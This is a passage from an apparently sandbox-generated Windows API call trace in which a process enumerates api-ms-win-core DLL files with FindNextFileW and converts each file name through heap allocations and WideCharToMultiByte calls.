ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="api-ms-win-core-console-l1-1-0.dll", cAlternateFileName="")) returned 1 [0173.198] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.198] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e950 [0173.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0173.198] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0xd5c288, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0173.198] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.198] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.198] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.198] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e950) returned 1 [0173.198] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.198] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cefbc66, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cefbc66, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="api-ms-win-core-datetime-l1-1-0.dll", cAlternateFileName="")) returned 1 [0173.198] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.199] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e950 [0173.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0173.199] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0xd5c120, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0173.199] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.199] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.199] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.199] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e950) returned 1 [0173.199] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.199] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cd32bf2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cd32bf2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="api-ms-win-core-debug-l1-1-0.dll", cAlternateFileName="")) returned 1 [0173.199] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.199] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e950 [0173.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0173.199] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0xd5c288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0173.199] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.199] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.199] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.199] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e950) returned 1 [0173.199] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.199] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="api-ms-win-core-delayload-l1-1-0.dll", cAlternateFileName="")) returned 1 [0173.199] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.199] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e950 [0173.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0173.199] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0xd5c120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0173.199] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.199] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.199] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.199] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e950) returned 1 [0173.199] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.199] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2ccc07d5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2ccc07d5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="api-ms-win-core-errorhandling-l1-1-0.dll", cAlternateFileName="")) returned 1 [0173.199] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.199] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e950 [0173.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0173.199] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0xd5c288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0173.200] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.200] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.200] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.200] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e950) returned 1 [0173.200] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.200] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cd7eeb0, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cd7eeb0, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="api-ms-win-core-fibers-l1-1-0.dll", cAlternateFileName="")) returned 1 [0173.200] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.200] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e950 [0173.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0173.200] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xd5c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0173.200] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.200] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.200] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.200] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e950) returned 1 [0173.200] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.200] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-1-0.dll", cAlternateFileName="")) returned 1 [0173.200] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.200] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e950 [0173.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0173.200] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0xd5c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0173.200] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.200] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.200] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.200] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e950) returned 1 [0173.200] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.200] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8c9b158, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="")) returned 1 [0173.200] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.200] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e950 [0173.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0173.200] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", cchWideChar=31, lpMultiByteStr=0xd5c120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0173.200] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.200] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.200] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.200] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e950) returned 1 [0173.200] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.201] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb859c590, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb859c590, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8c9b158, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="api-ms-win-core-file-l2-1-0.dll", cAlternateFileName="")) returned 1 [0173.201] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.201] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e950 [0173.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0173.201] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", cchWideChar=31, lpMultiByteStr=0xd5c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0173.201] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.201] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.201] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.201] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e950) returned 1 [0173.201] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.201] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cfe04a0, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cfe04a0, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="api-ms-win-core-handle-l1-1-0.dll", cAlternateFileName="")) returned 1 [0173.201] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.201] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e950 [0173.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0173.201] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xd5c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0173.201] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.201] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.201] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.201] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e950) returned 1 [0173.201] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.201] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0c4cda, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0c4cda, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="api-ms-win-core-heap-l1-1-0.dll", cAlternateFileName="")) returned 1 [0173.201] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.201] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e950 [0173.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0173.201] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0xd5c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0173.201] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.201] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.201] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.201] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e950) returned 1 [0173.201] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.201] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d078a1c, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d078a1c, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="api-ms-win-core-interlocked-l1-1-0.dll", cAlternateFileName="")) returned 1 [0173.201] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.201] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e950 [0173.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0173.202] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", cchWideChar=38, lpMultiByteStr=0xd5c120, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 38 [0173.202] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.202] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.202] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.202] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e950) returned 1 [0173.202] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.202] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cce6934, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cce6934, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="api-ms-win-core-io-l1-1-0.dll", cAlternateFileName="")) returned 1 [0173.202] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.202] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e950 [0173.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0173.202] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", cchWideChar=29, lpMultiByteStr=0xd5c288, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 29 [0173.202] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.202] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.202] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.202] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e950) returned 1 [0173.202] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, 